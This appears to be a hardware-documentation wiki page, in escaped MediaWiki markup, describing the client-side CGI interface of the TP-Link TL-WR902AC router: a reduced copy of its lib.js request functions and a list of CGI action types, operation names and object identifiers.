&amp;lt;div style=&amp;quot;border: 1px solid #8a6d3b; background-color: #fcf8e3; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Warning&amp;lt;/b&amp;gt;: If not using a modified $.io() function logging results to the console or similar, the responses must be found in the browsers network tab or Wireshark, depending on the setup.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Client-side CGI Insights&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;TL-WR902AC FW170828&amp;lt;/b&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;font-size: 13px&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Strongly Reduced version of the lib.js, showing the $.cgi, $.act and $.exe methods.&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;JavaScript&amp;quot;&amp;gt;# lib_modified.js&lt;br /&gt;
(function(){&lt;br /&gt;
var window = this,&lt;br /&gt;
	&lt;br /&gt;
	window.$ = {&lt;br /&gt;
&lt;br /&gt;
		cgi: function(path, arg, hook, noquit, unerr) {&lt;br /&gt;
			var expr = /(^|\/)(\w+)\.htm$/;&lt;br /&gt;
			if ($.local || $.sim) path = $.params;&lt;br /&gt;
			else path = (path ? path : $.curPage.replace(/\.htm$/, &amp;quot;.cgi&amp;quot;)) + (arg ? &amp;quot;?&amp;quot; + $.toStr(arg, &amp;quot;=&amp;quot;, &amp;quot;&amp;amp;&amp;quot;) : &amp;quot;&amp;quot;);&lt;br /&gt;
			$.ret = 0;&lt;br /&gt;
			var func = hook ? function(ret) {if (!ret &amp;amp;&amp;amp; (ret = $.ret)) $.err(&amp;quot;cgi&amp;quot;, $.ret, unerr); if (typeof hook === &amp;quot;function&amp;quot;) hook(ret);} : null;&lt;br /&gt;
			var ret =  $.io(path, true, func, null, noquit, unerr);&lt;br /&gt;
			&lt;br /&gt;
			if (!ret &amp;amp;&amp;amp; (ret = $.ret))&lt;br /&gt;
				$.err(&amp;quot;cgi&amp;quot;, $.ret, unerr);&lt;br /&gt;
			return ret;&lt;br /&gt;
		},&lt;br /&gt;
&lt;br /&gt;
		act: function(type, oid, stack, pStack, attrs) {&lt;br /&gt;
&lt;br /&gt;
			stack = stack ? stack : &amp;quot;0,0,0,0,0,0&amp;quot;;&lt;br /&gt;
			pStack = pStack ? pStack : &amp;quot;0,0,0,0,0,0&amp;quot;;&lt;br /&gt;
			attrs = $.toStr(attrs, &amp;quot;=&amp;quot;, &amp;quot;\r\n&amp;quot;, true);&lt;br /&gt;
			attrs = attrs.replace(/__stack=[0-9,]*\r\n/, &amp;quot;&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
			var ret = null;&lt;br /&gt;
&lt;br /&gt;
			switch (type) {&lt;br /&gt;
				case ACT_ADD:		&lt;br /&gt;
					if ($.cn) attrs = $.ansi(attrs);&lt;br /&gt;
				case ACT_GET:		&lt;br /&gt;
					ret = {};&lt;br /&gt;
					break;&lt;br /&gt;
				case ACT_GL:		&lt;br /&gt;
				case ACT_GS:		&lt;br /&gt;
					ret = [];&lt;br /&gt;
					break;&lt;br /&gt;
				case ACT_SET:		&lt;br /&gt;
				case ACT_CGI:&lt;br /&gt;
					oid = oid ? oid : $.curPage.replace(/\.htm$/, &amp;quot;.cgi&amp;quot;);&lt;br /&gt;
					if ($.cn) attrs = $.ansi(attrs);&lt;br /&gt;
				case ACT_DEL:		&lt;br /&gt;
				case ACT_OP:&lt;br /&gt;
					break;&lt;br /&gt;
				default: &lt;br /&gt;
					return false;&lt;br /&gt;
			}&lt;br /&gt;
&lt;br /&gt;
			$.as.push([type, null, oid, stack, pStack, attrs, attrs ? attrs.match(/\r\n/g).length : 0]);&lt;br /&gt;
			$.ds.push(ret);&lt;br /&gt;
			&lt;br /&gt;
			return ret;&lt;br /&gt;
		},&lt;br /&gt;
		&lt;br /&gt;
		exe: function(hook, unerr) {&lt;br /&gt;
&lt;br /&gt;
			var url = &amp;quot;/cgi?&amp;quot;;&lt;br /&gt;
			var data = &amp;quot;&amp;quot;;&lt;br /&gt;
			var index = 0;&lt;br /&gt;
			var obj;&lt;br /&gt;
			var bAnsi = false;&lt;br /&gt;
			&lt;br /&gt;
			if ($.as.length == 0 || $.local || $.sim) {&lt;br /&gt;
				if (hook &amp;amp;&amp;amp; typeof hook === &amp;quot;function&amp;quot;) $.timeout(hook, 200);&lt;br /&gt;
				while($.as.pop() !== undefined);&lt;br /&gt;
				while($.ds.pop() !== undefined);&lt;br /&gt;
				return 0;&lt;br /&gt;
			}&lt;br /&gt;
			&lt;br /&gt;
			$.empty($.id(&amp;quot;ansiform&amp;quot;));&lt;br /&gt;
			while ($.ansiarg.length) {&lt;br /&gt;
				obj = $.ansiarg.shift();&lt;br /&gt;
				$.append($.id(&amp;quot;ansiform&amp;quot;), &amp;quot;&amp;lt;input type=&#039;hidden&#039; name=&#039;&amp;quot;+obj[0]+&amp;quot;&#039; value=&#039;&amp;quot;+obj[1].replace(/\&amp;amp;/g, &amp;quot;&amp;amp;amp;&amp;quot;).replace(/&amp;lt;/g, &amp;quot;&amp;amp;lt;&amp;quot;).replace(/&#039;/g, &amp;quot;&amp;amp;apos;&amp;quot;)+&amp;quot;&#039; /&amp;gt;&amp;quot;);&lt;br /&gt;
				bAnsi = true;&lt;br /&gt;
			}&lt;br /&gt;
			&lt;br /&gt;
			while(obj = $.as.shift()){&lt;br /&gt;
				url += obj[0] + (obj[1] ? &amp;quot;=&amp;quot; + obj[1] : &amp;quot;&amp;quot;) + &amp;quot;&amp;amp;&amp;quot;;&lt;br /&gt;
				data += &amp;quot;[&amp;quot; + obj[2] + &amp;quot;#&amp;quot; + obj[3] + &amp;quot;#&amp;quot; + obj[4] + &amp;quot;]&amp;quot; + index + &amp;quot;, &amp;quot; + obj[6] + &amp;quot;\r\n&amp;quot; + obj[5];&lt;br /&gt;
				index++;&lt;br /&gt;
			}			&lt;br /&gt;
			url = url.substr(0, url.length - 1);&lt;br /&gt;
			&lt;br /&gt;
			if (hook) {&lt;br /&gt;
				var tmpds = $.mkArr($.ds);&lt;br /&gt;
				while($.ds.length) $.ds.pop();	&lt;br /&gt;
			}&lt;br /&gt;
			&lt;br /&gt;
			var resolve = function(ret, ds) {&lt;br /&gt;
				if (typeof ret !== &amp;quot;number&amp;quot;) {&lt;br /&gt;
					var lines = ret.split(&#039;\n&#039;);&lt;br /&gt;
					ret = 0;&lt;br /&gt;
					$.ret = 0;&lt;br /&gt;
					var scripts = &amp;quot;&amp;quot;;&lt;br /&gt;
					&lt;br /&gt;
					for (var i = 0, l = lines.length; i &amp;lt; l; i++) {&lt;br /&gt;
						if (lines[i] == &amp;quot;&amp;quot;) continue;&lt;br /&gt;
						if (lines[i].charAt(0) == &amp;quot;[&amp;quot;) {&lt;br /&gt;
							if (scripts != &amp;quot;&amp;quot;) {&lt;br /&gt;
								$.script(scripts);&lt;br /&gt;
								if ($.ret) {&lt;br /&gt;
									ret = $.ret;&lt;br /&gt;
									$.err(&amp;quot;cgi&amp;quot;, ret, unerr);&lt;br /&gt;
									break;&lt;br /&gt;
								}&lt;br /&gt;
								scripts = &amp;quot;&amp;quot;;&lt;br /&gt;
							}&lt;br /&gt;
							var n = lines[i].indexOf(&amp;quot;]&amp;quot;);&lt;br /&gt;
							var j = parseInt(lines[i].substr(n+1), 10);&lt;br /&gt;
							var stack = lines[i].substr(1, n-1);&lt;br /&gt;
							var instance;&lt;br /&gt;
							if (stack == &amp;quot;error&amp;quot;) {&lt;br /&gt;
								if (j) {&lt;br /&gt;
									ret = j;&lt;br /&gt;
									if (ret != ERR_HTTP_ERR_CGI_INVALID_ANSI) $.err(&amp;quot;exe&amp;quot;, ret, unerr);&lt;br /&gt;
									break;&lt;br /&gt;
								}&lt;br /&gt;
							}&lt;br /&gt;
							else if (ds[j] instanceof Array) {&lt;br /&gt;
								instance = {__stack: stack};&lt;br /&gt;
								ds[j].push(instance);&lt;br /&gt;
							}&lt;br /&gt;
							else if (ds[j] != null) {&lt;br /&gt;
								instance  = ds[j];&lt;br /&gt;
								instance.__stack = stack;&lt;br /&gt;
							}&lt;br /&gt;
						}&lt;br /&gt;
						else {&lt;br /&gt;
							if (stack == &amp;quot;cgi&amp;quot;) {&lt;br /&gt;
								scripts += lines[i] + &#039;\n&#039;;&lt;br /&gt;
							}&lt;br /&gt;
							else {&lt;br /&gt;
								var attr = lines[i].split(&amp;quot;=&amp;quot;);&lt;br /&gt;
								instance[attr[0]] = attr.slice(1).join(&#039;=&#039;);&lt;br /&gt;
							}&lt;br /&gt;
						}&lt;br /&gt;
					}&lt;br /&gt;
				}&lt;br /&gt;
				while(ds.length) ds.pop();&lt;br /&gt;
				return ret;&lt;br /&gt;
			}&lt;br /&gt;
			&lt;br /&gt;
			if (bAnsi) {&lt;br /&gt;
				var formObj = $.d.forms[0];	&lt;br /&gt;
				try {&lt;br /&gt;
					formObj.target = &amp;quot;up_frame&amp;quot;;&lt;br /&gt;
					formObj.action = &amp;quot;/cgi/ansi&amp;quot;;&lt;br /&gt;
					formObj.submit();&lt;br /&gt;
				}catch(e){}&lt;br /&gt;
			}&lt;br /&gt;
			&lt;br /&gt;
			if (hook) {&lt;br /&gt;
				var resolve2 = function(){&lt;br /&gt;
					$.io(url, false, function(ret){ &lt;br /&gt;
						ret = resolve(ret, tmpds); &lt;br /&gt;
						if (typeof hook === &amp;quot;function&amp;quot;) hook(ret);&lt;br /&gt;
					}, data, false, unerr)&lt;br /&gt;
				};&lt;br /&gt;
				if (bAnsi) $.timeout(resolve2, 100);&lt;br /&gt;
				else resolve2();&lt;br /&gt;
				return 0;&lt;br /&gt;
			}&lt;br /&gt;
			else {&lt;br /&gt;
				while(ret = $.io(url, false, null, data, false, unerr)) {&lt;br /&gt;
					ret = resolve(ret, $.ds);&lt;br /&gt;
					if (ret != ERR_HTTP_ERR_CGI_INVALID_ANSI) return ret;&lt;br /&gt;
					count++;&lt;br /&gt;
					if (count &amp;gt; 3) return $.err(&amp;quot;exe&amp;quot;, ERR_HTTP_ERR_CGI_INVALID_ANSI, unerr);&lt;br /&gt;
				}&lt;br /&gt;
			}&lt;br /&gt;
		}&lt;br /&gt;
	};&lt;br /&gt;
})();&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; CGI parameters extracted from lib.js and oid_str.js&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;JavaScript&amp;quot;&amp;gt;// Type&lt;br /&gt;
var ACT_GET = 1;	//----&lt;br /&gt;
var ACT_SET = 2;	//----&lt;br /&gt;
var ACT_ADD = 3;&lt;br /&gt;
var ACT_DEL = 4;&lt;br /&gt;
var ACT_GL  = 5;&lt;br /&gt;
var ACT_GS  = 6;&lt;br /&gt;
var ACT_OP  = 7;	//----&lt;br /&gt;
var ACT_CGI = 8;	//----&lt;br /&gt;
&lt;br /&gt;
// Operations&lt;br /&gt;
var ACT_OP_REBOOT 				= &amp;quot;ACT_REBOOT&amp;quot;;				//----&lt;br /&gt;
var ACT_OP_FACTORY_RESET 		= &amp;quot;ACT_FACTORY_RESET&amp;quot;;		//----&lt;br /&gt;
var ACT_OP_DHCP_RENEW 			= &amp;quot;ACT_DHCP_RENEW&amp;quot;;&lt;br /&gt;
var ACT_OP_DHCP_RELEASE 		= &amp;quot;ACT_DHCP_RELEASE&amp;quot;;&lt;br /&gt;
var ACT_OP_PPP_CONN 			= &amp;quot;ACT_PPP_CONN&amp;quot;;&lt;br /&gt;
var ACT_OP_PPP_DISCONN 			= &amp;quot;ACT_PPP_DISCONN&amp;quot;;&lt;br /&gt;
var ACT_OP_WLAN_GET_NEW_PIN 	= &amp;quot;ACT_WLAN_GET_NEW_PIN&amp;quot;;&lt;br /&gt;
var ACT_OP_WLAN_RESTORE_PIN 	= &amp;quot;ACT_WLAN_RESTORE_PIN&amp;quot;;&lt;br /&gt;
var ACT_OP_WLAN_UPDATE_ASSOC 	= &amp;quot;ACT_WLAN_UPDATE_ASSOC&amp;quot;;&lt;br /&gt;
var ACT_OP_WLAN_WPS_PBC 		= &amp;quot;ACT_WLAN_WPS_PBC&amp;quot;;&lt;br /&gt;
var ACT_OP_WLAN_WPS_PIN 		= &amp;quot;ACT_WLAN_WPS_PIN&amp;quot;;&lt;br /&gt;
var ACT_OP_WLAN_SCAN 			= &amp;quot;ACT_WLAN_SCAN&amp;quot;;&lt;br /&gt;
var ACT_OP_NTP_REQUEST 			= &amp;quot;ACT_NTP_REQUEST&amp;quot;;&lt;br /&gt;
var ACT_OP_DLNA_MANUAL_SCAN 	= &amp;quot;ACT_DLNA_MANUAL_SCAN&amp;quot;;&lt;br /&gt;
var ACT_OP_L2TP_CONN 			= &amp;quot;ACT_L2TP_CONN&amp;quot;;&lt;br /&gt;
var ACT_OP_L2TP_DISCONN 		= &amp;quot;ACT_L2TP_DISCONN&amp;quot;;&lt;br /&gt;
var ACT_OP_PPTP_CONN 			= &amp;quot;ACT_PPTP_CONN&amp;quot;;&lt;br /&gt;
var ACT_OP_PPTP_DISCONN 		= &amp;quot;ACT_PPTP_DISCONN&amp;quot;;&lt;br /&gt;
var ACT_OP_WAN_TYPE_DETECT 		= &amp;quot;ACT_WAN_TYPE_DETECT&amp;quot;;&lt;br /&gt;
var ACT_OP_BPA_CONN 			= &amp;quot;ACT_BPA_CONN&amp;quot;;&lt;br /&gt;
var ACT_OP_BPA_DISCONN 			= &amp;quot;ACT_BPA_DISCONN&amp;quot;;&lt;br /&gt;
var ACT_OP_IPPING 				= &amp;quot;ACT_OP_IPPING&amp;quot;;&lt;br /&gt;
var ACT_OP_TRACERT 				= &amp;quot;ACT_OP_TRACERT&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
// Object Identifier&lt;br /&gt;
var IGD = &amp;quot;IGD&amp;quot;&lt;br /&gt;
var IGD_DEV_INFO = &amp;quot;IGD_DEV_INFO&amp;quot;									//----&lt;br /&gt;
var SYSLOG_CFG = &amp;quot;SYSLOG_CFG&amp;quot;&lt;br /&gt;
var MANAGEMENT_SERVER = &amp;quot;MANAGEMENT_SERVER&amp;quot;&lt;br /&gt;
var ETH_SWITCH = &amp;quot;ETH_SWITCH&amp;quot;&lt;br /&gt;
var SYS_CFG = &amp;quot;SYS_CFG&amp;quot;&lt;br /&gt;
var NET_CFG = &amp;quot;NET_CFG&amp;quot;&lt;br /&gt;
var USER_CFG = &amp;quot;USER_CFG&amp;quot;											//----&lt;br /&gt;
var CURRENT_USER = &amp;quot;CURRENT_USER&amp;quot;&lt;br /&gt;
var APP_CFG = &amp;quot;APP_CFG&amp;quot;&lt;br /&gt;
var HTTP_CFG = &amp;quot;HTTP_CFG&amp;quot;&lt;br /&gt;
var PH_DDNS_CFG = &amp;quot;PH_DDNS_CFG&amp;quot;&lt;br /&gt;
var PH_RT_DATA = &amp;quot;PH_RT_DATA&amp;quot;&lt;br /&gt;
var DYN_DNS_CFG = &amp;quot;DYN_DNS_CFG&amp;quot;&lt;br /&gt;
var UPNP_CFG = &amp;quot;UPNP_CFG&amp;quot;&lt;br /&gt;
var UPNP_PORTMAPPING = &amp;quot;UPNP_PORTMAPPING&amp;quot;&lt;br /&gt;
var DIAG_TOOL = &amp;quot;DIAG_TOOL&amp;quot;&lt;br /&gt;
var CWMP_CFG = &amp;quot;CWMP_CFG&amp;quot;&lt;br /&gt;
var SNMP_CFG = &amp;quot;SNMP_CFG&amp;quot;&lt;br /&gt;
var NOIP_DNS_CFG = &amp;quot;NOIP_DNS_CFG&amp;quot;&lt;br /&gt;
var CMX_DNS_CFG = &amp;quot;CMX_DNS_CFG&amp;quot;&lt;br /&gt;
var ACL_CFG = &amp;quot;ACL_CFG&amp;quot;&lt;br /&gt;
var WAN_TYPE_DETECT = &amp;quot;WAN_TYPE_DETECT&amp;quot;&lt;br /&gt;
var DMZ_HOST_CFG = &amp;quot;DMZ_HOST_CFG&amp;quot;&lt;br /&gt;
var TIME = &amp;quot;TIME&amp;quot;&lt;br /&gt;
var HOUR = &amp;quot;HOUR&amp;quot;&lt;br /&gt;
var L3_FORWARDING = &amp;quot;L3_FORWARDING&amp;quot;&lt;br /&gt;
var L3_FORWARDING_ENTRY = &amp;quot;L3_FORWARDING_ENTRY&amp;quot;&lt;br /&gt;
var L3_IP6_FORWARDING = &amp;quot;L3_IP6_FORWARDING&amp;quot;&lt;br /&gt;
var L3_IP6_FORWARDING_ENTRY = &amp;quot;L3_IP6_FORWARDING_ENTRY&amp;quot;&lt;br /&gt;
var L2_BRIDGING = &amp;quot;L2_BRIDGING&amp;quot;&lt;br /&gt;
var L2_BRIDGING_ENTRY = &amp;quot;L2_BRIDGING_ENTRY&amp;quot;&lt;br /&gt;
var L2_BRIDGING_FILTER = &amp;quot;L2_BRIDGING_FILTER&amp;quot;&lt;br /&gt;
var L2_BRIDGING_INTF = &amp;quot;L2_BRIDGING_INTF&amp;quot;&lt;br /&gt;
var LAN_DEV = &amp;quot;LAN_DEV&amp;quot;&lt;br /&gt;
var LAN_HOST_CFG = &amp;quot;LAN_HOST_CFG&amp;quot;&lt;br /&gt;
var LAN_IP_INTF = &amp;quot;LAN_IP_INTF&amp;quot;&lt;br /&gt;
var LAN_DHCP_STATIC_ADDR = &amp;quot;LAN_DHCP_STATIC_ADDR&amp;quot;&lt;br /&gt;
var LAN_DHCP_COND_SRV_POOL = &amp;quot;LAN_DHCP_COND_SRV_POOL&amp;quot;&lt;br /&gt;
var LAN_DHCP_COND_SRV_POOL_OPT = &amp;quot;LAN_DHCP_COND_SRV_POOL_OPT&amp;quot;&lt;br /&gt;
var YANDEX_DNS_POOL = &amp;quot;YANDEX_DNS_POOL&amp;quot;&lt;br /&gt;
var LAN_IP6_HOST_CFG = &amp;quot;LAN_IP6_HOST_CFG&amp;quot;&lt;br /&gt;
var LAN_IP6_INTF = &amp;quot;LAN_IP6_INTF&amp;quot;&lt;br /&gt;
var LAN_ETH_INTF = &amp;quot;LAN_ETH_INTF&amp;quot;&lt;br /&gt;
var LAN_HOSTS = &amp;quot;LAN_HOSTS&amp;quot;&lt;br /&gt;
var LAN_HOST_ENTRY = &amp;quot;LAN_HOST_ENTRY&amp;quot;&lt;br /&gt;
var LAN_WLAN = &amp;quot;LAN_WLAN&amp;quot;&lt;br /&gt;
var LAN_WLAN_WPS = &amp;quot;LAN_WLAN_WPS&amp;quot;&lt;br /&gt;
var LAN_WLAN_MACTABLEENTRY = &amp;quot;LAN_WLAN_MACTABLEENTRY&amp;quot;&lt;br /&gt;
var LAN_WLAN_ASSOC_DEV = &amp;quot;LAN_WLAN_ASSOC_DEV&amp;quot;&lt;br /&gt;
var LAN_WLAN_BSSDESC_ENTRY = &amp;quot;LAN_WLAN_BSSDESC_ENTRY&amp;quot;&lt;br /&gt;
var LAN_WLAN_WEPKEY = &amp;quot;LAN_WLAN_WEPKEY&amp;quot;&lt;br /&gt;
var LAN_WLAN_WDSBRIDGE = &amp;quot;LAN_WLAN_WDSBRIDGE&amp;quot;&lt;br /&gt;
var LAN_WLAN_MULTISSID = &amp;quot;LAN_WLAN_MULTISSID&amp;quot;&lt;br /&gt;
var LAN_WLAN_MSSIDENTRY = &amp;quot;LAN_WLAN_MSSIDENTRY&amp;quot;&lt;br /&gt;
var LAN_WLAN_MSSIDWEPKEY = &amp;quot;LAN_WLAN_MSSIDWEPKEY&amp;quot;&lt;br /&gt;
var MSSID_MACTABLEENTRY = &amp;quot;MSSID_MACTABLEENTRY&amp;quot;&lt;br /&gt;
var LAN_WLAN_WLBRNAME = &amp;quot;LAN_WLAN_WLBRNAME&amp;quot;&lt;br /&gt;
var LAN_WLAN_TASK_SCHEDULE = &amp;quot;LAN_WLAN_TASK_SCHEDULE&amp;quot;&lt;br /&gt;
var LAN_WLAN_QUICKSAVE = &amp;quot;LAN_WLAN_QUICKSAVE&amp;quot;&lt;br /&gt;
var LAN_WLAN_GUESTNET = &amp;quot;LAN_WLAN_GUESTNET&amp;quot;&lt;br /&gt;
var LAN_IGMP_SNOOP = &amp;quot;LAN_IGMP_SNOOP&amp;quot;&lt;br /&gt;
var WAN_DEV = &amp;quot;WAN_DEV&amp;quot;&lt;br /&gt;
var WAN_COMMON_INTF_CFG = &amp;quot;WAN_COMMON_INTF_CFG&amp;quot;&lt;br /&gt;
var WAN_DSL_INTF_CFG = &amp;quot;WAN_DSL_INTF_CFG&amp;quot;&lt;br /&gt;
var WAN_DSL_INTF_STATS = &amp;quot;WAN_DSL_INTF_STATS&amp;quot;&lt;br /&gt;
var WAN_DSL_INTF_STATS_TOTAL = &amp;quot;WAN_DSL_INTF_STATS_TOTAL&amp;quot;&lt;br /&gt;
var WAN_DSL_AUTOPVC = &amp;quot;WAN_DSL_AUTOPVC&amp;quot;&lt;br /&gt;
var WAN_DSL_AUTO_PVC_PAIR = &amp;quot;WAN_DSL_AUTO_PVC_PAIR&amp;quot;&lt;br /&gt;
var WAN_ETH_INTF = &amp;quot;WAN_ETH_INTF&amp;quot;&lt;br /&gt;
var WAN_ETH_INTF_STATS = &amp;quot;WAN_ETH_INTF_STATS&amp;quot;&lt;br /&gt;
var WAN_PON = &amp;quot;WAN_PON&amp;quot;&lt;br /&gt;
var WAN_EPON_INTF = &amp;quot;WAN_EPON_INTF&amp;quot;&lt;br /&gt;
var WAN_EPON_INTF_OAM_STATS = &amp;quot;WAN_EPON_INTF_OAM_STATS&amp;quot;&lt;br /&gt;
var WAN_EPON_INTF_MPCP_STATS = &amp;quot;WAN_EPON_INTF_MPCP_STATS&amp;quot;&lt;br /&gt;
var WAN_EPON_INTF_STATS = &amp;quot;WAN_EPON_INTF_STATS&amp;quot;&lt;br /&gt;
var WAN_EPON_INTF_OPTICAL_STATS = &amp;quot;WAN_EPON_INTF_OPTICAL_STATS&amp;quot;&lt;br /&gt;
var WAN_GPON_INTF = &amp;quot;WAN_GPON_INTF&amp;quot;&lt;br /&gt;
var WAN_GPON_INTF_OMCI_STATS = &amp;quot;WAN_GPON_INTF_OMCI_STATS&amp;quot;&lt;br /&gt;
var WAN_GPON_INTF_STATS = &amp;quot;WAN_GPON_INTF_STATS&amp;quot;&lt;br /&gt;
var WAN_GPON_INTF_OPTICAL_STATS = &amp;quot;WAN_GPON_INTF_OPTICAL_STATS&amp;quot;&lt;br /&gt;
var WAN_CONN_DEVICE = &amp;quot;WAN_CONN_DEVICE&amp;quot;&lt;br /&gt;
var WAN_DSL_LINK_CFG = &amp;quot;WAN_DSL_LINK_CFG&amp;quot;&lt;br /&gt;
var WAN_PON_LINK_CFG = &amp;quot;WAN_PON_LINK_CFG&amp;quot;&lt;br /&gt;
var WAN_ETH_LINK_CFG = &amp;quot;WAN_ETH_LINK_CFG&amp;quot;&lt;br /&gt;
var WAN_USB_3G_LINK_CFG = &amp;quot;WAN_USB_3G_LINK_CFG&amp;quot;&lt;br /&gt;
var USB_MODEM_PARAM = &amp;quot;USB_MODEM_PARAM&amp;quot;&lt;br /&gt;
var WAN_L2TP_CONN = &amp;quot;WAN_L2TP_CONN&amp;quot;&lt;br /&gt;
var WAN_L2TP_CONN_PORTMAPPING = &amp;quot;WAN_L2TP_CONN_PORTMAPPING&amp;quot;&lt;br /&gt;
var L2TP_CONN_PORTTRIGGERING = &amp;quot;L2TP_CONN_PORTTRIGGERING&amp;quot;&lt;br /&gt;
var WAN_L2TP_CONN_STATS = &amp;quot;WAN_L2TP_CONN_STATS&amp;quot;&lt;br /&gt;
var WAN_PPTP_CONN = &amp;quot;WAN_PPTP_CONN&amp;quot;&lt;br /&gt;
var WAN_PPTP_CONN_PORTMAPPING = &amp;quot;WAN_PPTP_CONN_PORTMAPPING&amp;quot;&lt;br /&gt;
var PPTP_CONN_PORTTRIGGERING = &amp;quot;PPTP_CONN_PORTTRIGGERING&amp;quot;&lt;br /&gt;
var WAN_PPTP_CONN_STATS = &amp;quot;WAN_PPTP_CONN_STATS&amp;quot;&lt;br /&gt;
var WAN_IP_CONN = &amp;quot;WAN_IP_CONN&amp;quot;&lt;br /&gt;
var WAN_IP_CONN_PORTMAPPING = &amp;quot;WAN_IP_CONN_PORTMAPPING&amp;quot;&lt;br /&gt;
var IP_CONN_PORTTRIGGERING = &amp;quot;IP_CONN_PORTTRIGGERING&amp;quot;&lt;br /&gt;
var WAN_PPP_CONN = &amp;quot;WAN_PPP_CONN&amp;quot;&lt;br /&gt;
var WAN_PPP_CONN_PORTMAPPING = &amp;quot;WAN_PPP_CONN_PORTMAPPING&amp;quot;&lt;br /&gt;
var PPP_CONN_PORTTRIGGERING = &amp;quot;PPP_CONN_PORTTRIGGERING&amp;quot;&lt;br /&gt;
var WAN_PPP_CONN_STATS = &amp;quot;WAN_PPP_CONN_STATS&amp;quot;&lt;br /&gt;
var STAT_CFG = &amp;quot;STAT_CFG&amp;quot;&lt;br /&gt;
var STAT_ENTRY = &amp;quot;STAT_ENTRY&amp;quot;&lt;br /&gt;
var DDOS_CFG = &amp;quot;DDOS_CFG&amp;quot;&lt;br /&gt;
var DOS_HOST = &amp;quot;DOS_HOST&amp;quot;&lt;br /&gt;
var ARP = &amp;quot;ARP&amp;quot;&lt;br /&gt;
var ARP_ENTRY = &amp;quot;ARP_ENTRY&amp;quot;&lt;br /&gt;
var ARP_BIND = &amp;quot;ARP_BIND&amp;quot;&lt;br /&gt;
var ARP_BIND_ENTRY = &amp;quot;ARP_BIND_ENTRY&amp;quot;&lt;br /&gt;
var QUEUE_MANAGEMENT = &amp;quot;QUEUE_MANAGEMENT&amp;quot;&lt;br /&gt;
var CLASSIFICATION = &amp;quot;CLASSIFICATION&amp;quot;&lt;br /&gt;
var QOS_APP = &amp;quot;QOS_APP&amp;quot;&lt;br /&gt;
var QOS_INTF = &amp;quot;QOS_INTF&amp;quot;&lt;br /&gt;
var QOS_QUEUE = &amp;quot;QOS_QUEUE&amp;quot;&lt;br /&gt;
var TC = &amp;quot;TC&amp;quot;&lt;br /&gt;
var TC_RULE = &amp;quot;TC_RULE&amp;quot;&lt;br /&gt;
var ALG_CFG = &amp;quot;ALG_CFG&amp;quot;&lt;br /&gt;
var IPTV = &amp;quot;IPTV&amp;quot;&lt;br /&gt;
var DSL_IPTV_CFG = &amp;quot;DSL_IPTV_CFG&amp;quot;&lt;br /&gt;
var ETH_IPTV_CFG = &amp;quot;ETH_IPTV_CFG&amp;quot;&lt;br /&gt;
var FIREWALL = &amp;quot;FIREWALL&amp;quot;&lt;br /&gt;
var INTERNAL_HOST = &amp;quot;INTERNAL_HOST&amp;quot;&lt;br /&gt;
var EXTERNAL_HOST = &amp;quot;EXTERNAL_HOST&amp;quot;&lt;br /&gt;
var TASK_SCHEDULE = &amp;quot;TASK_SCHEDULE&amp;quot;&lt;br /&gt;
var RULE = &amp;quot;RULE&amp;quot;&lt;br /&gt;
var URL_LIST = &amp;quot;URL_LIST&amp;quot;&lt;br /&gt;
var URL_CFG = &amp;quot;URL_CFG&amp;quot;&lt;br /&gt;
var IP6_FIREWALL = &amp;quot;IP6_FIREWALL&amp;quot;&lt;br /&gt;
var IP6_INTERNAL_HOST = &amp;quot;IP6_INTERNAL_HOST&amp;quot;&lt;br /&gt;
var IP6_EXTERNAL_HOST = &amp;quot;IP6_EXTERNAL_HOST&amp;quot;&lt;br /&gt;
var IP6_TASK_SCHEDULE = &amp;quot;IP6_TASK_SCHEDULE&amp;quot;&lt;br /&gt;
var IP6_RULE = &amp;quot;IP6_RULE&amp;quot;&lt;br /&gt;
var IP6_TUNNEL = &amp;quot;IP6_TUNNEL&amp;quot;&lt;br /&gt;
var DSLITE = &amp;quot;DSLITE&amp;quot;&lt;br /&gt;
var SIT_6RD = &amp;quot;SIT_6RD&amp;quot;&lt;br /&gt;
var SERVICES = &amp;quot;SERVICES&amp;quot;&lt;br /&gt;
var VOICE = &amp;quot;VOICE&amp;quot;&lt;br /&gt;
var XTP_VOICE_PROCESS_STS = &amp;quot;XTP_VOICE_PROCESS_STS&amp;quot;&lt;br /&gt;
var XTP_VOICE_PROCESS = &amp;quot;XTP_VOICE_PROCESS&amp;quot;&lt;br /&gt;
var VOICE_CAP = &amp;quot;VOICE_CAP&amp;quot;&lt;br /&gt;
